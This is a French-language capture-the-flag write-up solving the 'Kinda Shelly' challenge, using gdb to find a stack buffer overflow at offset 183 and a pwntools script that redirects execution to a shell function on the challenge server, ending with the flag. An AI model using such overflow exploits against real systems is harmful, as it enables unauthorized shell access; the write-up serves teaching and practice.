/ exploit

cyber@hack - Kinda Shelly

Énoncé : Hey ! I'm a super secured shell that need a username and a password ! No one can pass my security ! NO ONE ! vm-ctf-2.epitech.eu:4242

À la connexion au challenge, on obtient :

$ nc vm-ctf-2.epitech.eu 4242
Welcome to Shelly 2.0, the super shell that you can't access without creds !
Who are you ?
Name: sam0
Pass: sam0
Oh didn't work ! Good bye !

Mmmmh... On télécharge le binaire fourni, et on l'étudie plus en détails avec gdb. Dans le main, on remarque des instructions intéressantes :

...
   0x0000000000400949 <+258>:	call   0x4005c0 <strncmp@plt>
...
   0x0000000000400959 <+274>:	call   0x400747 <passOk>
...
   0x0000000000400962 <+283>:	call   0x400736 <super_shell>

En fouillant un peu, l'appel à strncmp permet de vérifier l'utilisateur (comparé à Yolo!) et l'appel à passOk permet de vérifier le mot de passe utilisateur. La fonction super_shell serait donc celle qui, une fois le user et le password validés, nous donnerait accès à un shell.

On tente de faire planter le programme en passant une chaîne "A" * 188 dans l'input Name :

[-------------------------------------code----------------------------------]
Invalid $PC address: 0xa4141414141
[------------------------------------stack----------------------------------]
...
[---------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000a4141414141 in ?? ()

Bingo ! On contrôle le registre RIP ! Notre offset est ici 183.

Nous souhaitons maintenant avoir un accès à un shell... Ce que fournit l'application une fois l'identité de l'utilisateur validée :

gdb-peda $ disass super_shell
Dump of assembler code for function super_shell:
   0x0000000000400736 <+0>:	push   rbp
   0x0000000000400737 <+1>:	mov    rbp,rsp
   0x000000000040073a <+4>:	mov    edi,0x400a08
   0x000000000040073f <+9>:	call   0x400610 <system@plt>
   0x0000000000400744 <+14>:	nop
   0x0000000000400745 <+15>:	pop    rbp
   0x0000000000400746 <+16>:	ret    
End of assembler dump.

Le but serait donc ici de modifier le registre RIP pour le faire pointer sur l'adresse de super_shell. Ainsi, au lieu de segfault, le programme va simplement exécuter la fonction super_shell.

Notre payload ressemble donc à ceci :

'A' * 183 + @super_shell

On utilise l'excellent pwntools pour faciliter l'écriture de l'exploit en remote :

# !/bin/python2
from pwn import *

r=remote('vm-ctf-2.epitech.eu',4242)
sh = 0x0000000000400736     # @super_shell

print r.recvuntil('Name:')

r.send('a'*183+p64(sh))     # injection du payload
r.interactive()

Flag : flag{ThisShellWasGreatNowItsGreatAgain}